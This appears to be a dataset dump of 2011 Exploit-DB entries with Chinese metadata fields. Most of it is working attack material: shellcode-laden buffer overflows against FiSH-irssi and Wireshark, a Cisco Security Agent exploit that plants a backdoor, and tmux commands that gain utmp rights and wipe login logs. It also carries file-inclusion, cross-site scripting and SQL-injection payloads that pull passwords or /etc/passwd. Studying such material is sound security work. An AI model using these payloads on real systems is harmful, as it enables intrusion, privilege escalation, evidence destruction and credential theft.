QLWD/code_shield huggingface dataset:
标题: Adobe Flash Player < 10.1.53.64 - Action Script Type Confusion (ASLR + DEP Bypass) EDB-ID: 17187 CVE: 2010-3654 类型: REMOTE 平台: WINDOWS 发布日期: 2011-04-19 漏洞利用脚本: Source: http://www.abysssec.com/blog/2011/04/exploiting-adobe-flash-player-on-windows-7/

Adobe Flash player Action script type confusion exploit (DEP+ASLR bypass)

advisory text : 

Here is another reliable windows 7 exploit . the main method used for exploitation is based on Haifei-li presentation at CanSecWest. 
but as exploit code not relased and a lot of peoples like to see exploit code here is our code .  

exploitation detail :
For exploitation purpose on recent protections on windows 7 without any 3rd party (well flash is not 3rd party todays) , it is possible to use the same bug many times to leak the imageBase address and payload address. In our exploit we used three confusion to read String Objects address and accordingly imagebase address.

Step1: read shellcode string object pointer by confusing it with uint and use it to leak ImageBase.
Step2: leak address of the shellcode with the same pointer and NewNumber trick.
Step3: send imageBase & shellcode address as parameters to the RopPayload function, develop Rop payload string and again confuse the return value with uint to read address of RopPayload string.
Step4: send address of the rop payload as parameters to the last confused function that confuses string type with class object. And thus address of our rop payload will be used as vtable in the fake class object.
Note: In using strings as a buffer for shellcode in action script, it is important to use alphanumeric characters because the toString method converts our ascii character set to uincode thus make our shellcode unusable.

Here you can get our reliable exploit against windows 7 :
calc.exe payload

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17187.zip (CVE-2010-3654_Win7.zip) URL: https://www.exploit-db.com/exploits/17187
标题: FiSH-irssi 0.99 - Evil ircd Buffer Overflow EDB-ID: 17181 CVE: 2007-1397 类型: REMOTE 平台: LINUX 发布日期: 2011-04-17 漏洞利用脚本: # FiSH IRC encryption evil ircd PoC exploit.
# Abuses CVE-2007-1397
# Bad ircd, nasty bnc provider, nicknames over 100 char --> ruin.
# Runs arbitrary code which which in this case shuts down irssi.
# Tested on my own compiled FiSH with irssi/fedora/x86
# There are a lot more problems like this one, you should /unload fish
# Caleb James DeLisle - cjd

use Socket;

$retPtr = "\x60\xef\xff\xbf";

# Pirated from some guy called gunslinger_
$exit1code = "\x31\xc0\xb0\x01\x31\xdb\xcd\x80";

$code = "\x90" x 120 . $exit1code . $retPtr;

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or die "Couldn't open socket";
bind(SOCKET, sockaddr_in(6667, inet_aton("127.0.0.1"))) or die "Couldn't bind to port 6667";
listen(SOCKET,5) or die "Couldn't listen on port";

while(accept(CLIENT,SOCKET)){
    sleep 1;
    select((select(CLIENT), $|=1)[0]);
    print CLIENT ":-psyBNC!~cjd\@ef.net PRIVMSG luser : :($code\r\n";
}
close(SOCKET); URL: https://www.exploit-db.com/exploits/17181
标题: Wireshark 1.4.1 < 1.4.4 - Local Overflow (SEH) EDB-ID: 17185 CVE: 2011-1591 类型: LOCAL 平台: WINDOWS 发布日期: 2011-04-18 漏洞利用脚本: #!/usr/bin/env python
# Vulnerable app: Wireshark 1.4.1-1.4.4
# Author: sickness
# Download : 
# OS: Tested it on Windows XP SP2 and SP3 but it should work on every Windows with DEP off (still working on a ROP exploit)
# DATE   : 17.04.2011
# Fixed in latest version 1.4.5
# DO NOT FORGET TO FEEL THE PWNSAUCE WITH: http://redmine.corelan.be:8800/projects/pvefindaddr
###################################################################
# Offset might change!
# Watch out for other bad chars!!
# Current bad chars: \x00\x0a\x0d\x09
###################################################################
# References:
# https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836
# https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838
###################################################################


import sys
from scapy.all import *

#payload=calc.exe
#ppr is from a non-ASLR enabled wireshark module

evil = Ether(type=0x2323)/("\x41" * 1239 + "\xeb\x06\x90\x90" +  "\x5D\x10\x94\x62" + "\x90" * 16 + "\x33\xc9\x83\xe9\xce\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x17\x22\xfd\x6a\x83\xee\xfc\xe2\xf4\xeb\xca\x74\x6a\x17\x22\x9d\xe3\xf2\x13\x2f\x0e\x9c\x70\xcd\xe1\x45\x2e\x76\x38\x03\xa9\x8f\x42\x18\x95\xb7\x4c\x26\xdd\xcc\xaa\xbb\x1e\x9c\x16\x15\x0e\xdd\xab\xd8\x2f\xfc\xad\xf5\xd2\xaf\x3d\x9c\x70\xed\xe1\x55\x1e\xfc\xba\x9c\x62\x85\xef\xd7\x56\xb7\x6b\xc7\x72\x76\x22\x0f\xa9\xa5\x4a\x16\xf1\x1e\x56\x5e\xa9\xc9\xe1\x16\xf4\xcc\x95\x26\xe2\x51\xab\xd8\x2f\xfc\xad\x2f\xc2\x88\x9e\x14\x5f\x05\x51\x6a\x06\x88\x88\x4f\xa9\xa5\x4e\x16\xf1\x9b\xe1\x1b\x69\x76\x32\x0b\x23\x2e\xe1\x13\xa9\xfc\xba\x9e\x66\xd9\x4e\x4c\x79\x9c\x33\x4d\x73\x02\x8a\x4f\x7d\xa7\xe1\x05\xc9\x7b\x37\x7d\x23\x70\xef\xae\x22\xfd\x6a\x47\x4a\xcc\xe1\x78\xa5\x02\xbf\xac\xd2\x48\xc8\x41\x4a\x5b\xff\xaa\xbf\x02\xbf\x2b\x24\x81\x60\x97\xd9\x1d\x1f\x12\x99\xba\x79\x65\x4d\x97\x6a\x44\xdd\x28\x09\x76\x4e\x9e\x44\x72\x5a\x98\x6a" + "\x90" * 4500)
wrpcap("evil.pcap",evil)


print "\n"
print "Evil .pcap file created!"
print "It's pwnsauce time!\n" URL: https://www.exploit-db.com/exploits/17185
标题: tmux 1.3/1.4 - '-S' Option Incorrect SetGID Privilege Escalation EDB-ID: 17147 CVE: 2011-1496 类型: LOCAL 平台: LINUX 发布日期: 2011-04-11 漏洞利用脚本: ---------------------------------------
| Team ph0x90bic proudly presents     |
| tmux -S 1.3/1.4 local utmp exploit  |
---------------------------------------

# Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability
# Date: 11.04.2011
# Author: ph0x90bic
# Software Link: http://tmux.sourceforge.net/
# Version: 1.3/1.4
# Tested on: Linux debian 2.6.26-1-686
# CVE : CVE-2011-1496

---

INTRODUCTION

tmux 1.3/1.4 contains a privilege escalation vulnerabillity,
which gives you utmp group privileges. This bug is important,
because it is possible to clean logfiles and use logcleaners
for btmp, wtmp and lastlog without local root access.

---

EXPLOIT

Execute shell as utmp group

$ tmux -S /tmp/.whateveryouwant -c id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)

$ tmux -S /tmp/.whateveryouwant -c /bin/sh
$ id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)

--

Delete logfiles

$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'

--

Use logcleaner software

$ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username URL: https://www.exploit-db.com/exploits/17147
标题: Cisco Security Agent Management Console - 'st_upload' Remote Code Execution EDB-ID: 17155 CVE: 2011-0364 类型: REMOTE 平台: WINDOWS 发布日期: 2011-04-12 漏洞利用脚本: #!/usr/bin/env python
# Exploits Cisco Security Agent Management Console ‘st_upload’ (CVE-2011-0364)
# gerry eisenhaur <gerry.eisenhaur _at_ gmail.com>

import httplib
import mimetools
import StringIO

_boundary = mimetools.choose_boundary()
_host_uid = 'C087EFAE-05A2-4A0B-9512-E05E5ED84AEB'
_csamc = "192.168.0.108"

# we need to enable some scripting to get command access
htaccess = "Options +Includes +ExecCGI\r\nAddHandler cgi-script gee"
perl_path = "#!c:/program files/cisco/csamc/csamc60/perl/5.8.7/bin/mswin32-x86/perl\r\n",
backdoor = "exec \"calc.exe\";"

def send_request(params=None):
    buf = StringIO.StringIO()
    headers = {"Content-type": 'multipart/form-data; boundary=%s' % _boundary}

    for(key, value) in params.iteritems():
        buf.write('--%s\r\n' % _boundary)
        buf.write('Content-Disposition: form-data; name="%s"' % key)
        buf.write('\r\n\r\n%s\r\n' % value)
    buf.write('--' + _boundary + '--\r\n\r\n')
    body = buf.getvalue()

    conn = httplib.HTTPSConnection(_csamc)
    conn.request("POST", "/csamc60/agent", body, headers)
    response = conn.getresponse()
    print response.status, response.reason
    conn.close()

def main():
    ### Build up required dir tree
    dirtree = ["../bin/webserver/htdocs/diag/bin",
               "../bin/webserver/htdocs/diag/bin/webserver",
               "../bin/webserver/htdocs/diag/bin/webserver/htdocs"]
    _params = {
        'host_uid': _host_uid,
        'jobname': None,
        'host': "aa",
        'diags': " ",
        'diagsu': " ",
        'profiler': " ",
        'extension': "gee",
    }
    for path in dirtree:
        print "[+] Creating directory: %s" % path
        _params['jobname'] = path
        send_request(_params)

    ### Done building path, drop files
    print "[+] Dropping .htaccess"
    send_request({
        'host_uid': _host_uid,
        'jobname': '',
        'host': "/../bin/webserver/",
        'diags': "",
        'diagsu': "",
        'profiler': htaccess,
        'extension': "/../.htaccess",
    })

    print "[+] Dropping payload"
    send_request({
        'host_uid': _host_uid,
        'jobname': '',
        'host': "/../bin/webserver/htdocs/gerry",
        'diags': perl_path,
        'diagsu': "",
        'profiler': backdoor,
        'extension': "/../exploit.gee",
    })

    print "[+] Done, Executing dropped file."
    try:
        conn = httplib.HTTPSConnection(_csamc, timeout=1)
        conn.request("GET", "/csamc60/exploit.gee")
        response = conn.getresponse()
        print response.status, response.reason
        print response.read()
    except httplib.ssl.SSLError:
        pass
    print "[+] Finished."

if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/17155
标题: eyeos 2.3 - Multiple Vulnerabilities EDB-ID: 17127 CVE: 2011-1715 2011-1714 类型: WEBAPPS 平台: PHP 发布日期: 2011-04-06 漏洞利用脚本: ------------------------------------------------------------------------
Software................eyeOS 2.3
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.eyeos.org/
Discovery Date..........4/3/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A local file inclusion vulnerability in eyeOS 2.3 can be exploited to
include arbitrary files.


--PoC--

http://localhost/eyeos/devtools/qooxdoo-sdk/framework/source/resource/qx/test/part/delay.php?sleep=0&file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini

------------------------------------------------------------------------
Software................eyeOS 2.3
Vulnerability...........Reflected Cross-site Scripting
Threat Level............Low (1/5)
Download................http://www.eyeos.org/
Discovery Date..........4/3/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A reflected cross-site scripting vulnerability in eyeOS 2.3 can be
exploited to execute arbitrary JavaScript.


--PoC--

http://localhost/eyeos/devtools/qooxdoo-sdk/framework/source/resource/qx/test/jsonp_primitive.php?callback=%3Cscript%3Ealert%280%29%3C%2fscript%3E URL: https://www.exploit-db.com/exploits/17127
标题: GNU glibc < 2.12.2 - 'fnmatch()' Stack Corruption EDB-ID: 17120 CVE: 2011-1071 类型: DOS 平台: MULTIPLE 发布日期: 2011-02-25 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/46563/info

GNU glibc is prone to a stack-corruption vulnerability.

An attacker can exploit this issue to execute arbitrary machine code in the context of the application that uses the affected library. Failed exploit attempts will likely crash the application.

GNU glibc versions prior to 2.12.2 are vulnerable. */

#include <err.h>
#include <fnmatch.h>
#include <locale.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, const char* argv[]) {
  size_t num_as;
  char* p;
  setlocale(LC_ALL, "en_US.UTF8");
  if (argc < 2) {
    errx(1, "Missing argument.");
  }
  num_as = atoi(argv[1]);
  if (num_as < 5) {
    errx(1, "Need 5.");
  }
  p = malloc(num_as);
  if (!p) {
    errx(1, "malloc() failed.");
  }
  memset(p, 'A', num_as);
  p[num_as - 1] = '\0';
  p[0] = 'f';
  p[1] = 'o';
  p[2] = 'o';
  p[3] = '.';
  fnmatch("*.anim[1-9j]", p, 0);
  return 0;
} URL: https://www.exploit-db.com/exploits/17120
标题: OpenEMR 4.0.0 - Multiple Vulnerabilities EDB-ID: 17118 CVE: 2011-5160 类型: WEBAPPS 平台: PHP 发布日期: 2011-04-05 漏洞利用脚本: ------------------------------------------------------------------------
Software................OpenEMR 4.0.0
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.oemr.org/
Discovery Date..........4/2/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A local file inclusion vulnerability in OpenEMR 4.0.0 can be exploited
to include arbitrary files.


--PoC--

http://localhost/openemr-4.0.0/index.php?site=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00

------------------------------------------------------------------------
Software................OpenEMR 4.0.0
Vulnerability...........Arbitrary Database Creation/Database Enumeration
Threat Level............Low (1/5)
Download................http://www.oemr.org/
Discovery Date..........4/2/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--PoC--

POST http://localhost/openemr-4.0.0/contrib/util/express.php HTTP/1.1
Host: localhost
Connection: keep-alive
User-Agent: x
Content-Length: 142
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

------x
Content-Disposition: form-data; name="submit"

submit
------x
Content-Disposition: form-data; name="newname"

DatabaseName
------x--

------------------------------------------------------------------------
Software................OpenEMR 4.0.0
Vulnerability...........Reflected Cross-site Scripting
Threat Level............Low (1/5)
Download................http://www.oemr.org/
Discovery Date..........4/2/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A reflected cross-site scripting vulnerability in OpenEMR 4.0.0 can be
exploited to execute arbitrary JavaScript.


--PoC--

http://localhost/openemr-4.0.0/setup.php?site=%3Cscript%3Ealert(0)%3C/script%3E

http://localhost/openemr-4.0.0/gacl/admin/object_search.php?object_type=&action=&src_form=%22%3E%3Cscript%3Ealert%280%29%3C/script%3E&section_value=%22%3E%3Cscript%3Ealert%280%29%3C/script%3E URL: https://www.exploit-db.com/exploits/17118
标题: WordPress Plugin Custom Pages 0.5.0.1 - Local File Inclusion EDB-ID: 17119 CVE: 2011-1669 类型: WEBAPPS 平台: PHP 发布日期: 2011-04-05 漏洞利用脚本: ------------------------------------------------------------------------
Software................WordPress WP Custom Pages 0.5.0.1
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://wordpress.org/extend/plugins/wp-custom-pages/
Discovery Date..........4/3/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--PoC--

http://localhost/wordpress/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini URL: https://www.exploit-db.com/exploits/17119
标题: Yaws-Wiki 1.88-1 (Erlang) - Persistent / Reflective Cross-Site Scripting EDB-ID: 17111 CVE: 2011-5025 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2011-04-04 漏洞利用脚本: Application: yaws-wiki
version affected: 1.88-1
platform:  Erlang
homepage:http://yaws.hyber.org/
Researcher: Michael Brooks
Orignal Advisory:https://sitewat.ch/en/Advisory/4

Install instructions for Ubuntu:
sudo apt-get install yaws-wiki

Edit:/etc/yaws/conf.d/yaws-wiki.conf
#add this:
<server wiki>
 port = 8181
 listen = 0.0.0.0
 docroot = /var/lib/yaws-wiki
</server>

Then restart yaws:
sudo /etc/init.d/yaws restart


Reflective XSS:
http://localhost:8181/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://localhost:8181/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://localhost:8181/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E

Stored XSS:
http://localhost:8181/editPage.yaws?node=home

The large textbox on the editPage.yaws page is vulnerable to xss.  This is
the"text" post variable:
<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/17111
标题: Anzeigenmarkt 2011 - 'index.php' SQL Injection EDB-ID: 17102 CVE: 2011-1667 类型: WEBAPPS 平台: PHP 发布日期: 2011-04-02 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : Anzeigenmarkt 2011 SQL Injection Vulnerability
+Autor : Easy Laster
+Date   : 02.04.2011
+Script  : ANZEIGENMARKT 2011
+Price : free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project.com
+Greetz to Team-Internet ,Underground Agents, websec-empire.to and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
  
---------------------------------------------------------------------------------------
                                                                                       
 ___ ___ ___ ___                         _ _           _____           _         _ 
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|          
  
  
----------------------------------------------------------------------------------------
#Proof of Concept

www.site.com/anzeigenmarkt2011/index.php?d=list&q='+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,
45,46,47,48,49,50,51,52,53,concat(id,0x3a,pass,0x3a,email),55,56,57,58,59,6+from+markt_u
ser--+&kat=10 URL: https://www.exploit-db.com/exploits/17102
标题: InTerra Blog Machine 1.84 - Cross-Site Scripting EDB-ID: 17098 CVE: 2011-1670 类型: WEBAPPS 平台: PHP 发布日期: 2011-04-01 漏洞利用脚本: Vulnerability ID: HTB22931
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_interra_blog_machin
e.html
Product: InTerra Blog Machine
Vendor: InTerra Blog Machine Team ( http://code.google.com/p/interra/ )
Vulnerable Version: 1.84 and probably prior versions
Vendor Notification: 31 March 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "actions/add.php" script to properly sanitize user-supplied input in "subject" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/POST_URL/edit/" method="post" name="main" enctype="multipart/form-data">
<!-- POST_URL like "2011/03/31/post_url" -->
<input type="hidden" name="subject" value='post title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="content" value='content'>
<input type="hidden" name="date[Date_Day]" value="31">
<input type="hidden" name="date[Date_Month]" value="03">
<input type="hidden" name="date[Date_Year]" value="2011">
<input type="hidden" name="time[Time_Hour]" value="13">
<input type="hidden" name="time[Time_Minute]" value="59">
<input type="hidden" name="comments" value="1">
<input type="hidden" name="section" value="0">
<input type="hidden" name="sectionNewName" value="">
<input type="hidden" name="sectionNewUnix" value="">
<input type="hidden" name="sectionNewHidden" value="0">
<input type="hidden" name="replicate" value="1">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="edit" value="POST_ID">
</form>
<script>
document.main.submit();
</script> URL: https://www.exploit-db.com/exploits/17098
标题: Andy's PHP KnowledgeBase 0.95.2 - 'viewusers.php' SQL Injection EDB-ID: 17084 CVE: 2011-1546 类型: WEBAPPS 平台: PHP 发布日期: 2011-03-30 漏洞利用脚本: 'Andy's PHP Knowledgebase' SQL Injection Vulnerability (CVE-2011-1546)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in a_viewusers.php allowing for SQL injection of the 's' query parameter.

 
II. TESTED VERSION
---------------------------------------
0.95.2


III. PoC EXPLOIT
---------------------------------------
http://www.example.com/aphpkb/a_viewusers.php?s=1%20UNION%20SELECT%20load_file(0x2f6574632f706173737764),null,null,null,null,null,null%20limit%200


IV. SOLUTION
---------------------------------------
Upgrade to 0.95.3 or above.


V. REFERENCES
---------------------------------------
http://www.aphpkb.org/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1546
http://www.uncompiled.com/2011/03/cve-2011-1546/


VI. TIMELINE
---------------------------------------
03/13/2011 - Initial vendor disclosure
03/16/2011 - Vendor patched and released an updated version
03/16/2011 - Confirmed fix & disclosure date
03/30/2011 - Public disclosure URL: https://www.exploit-db.com/exploits/17084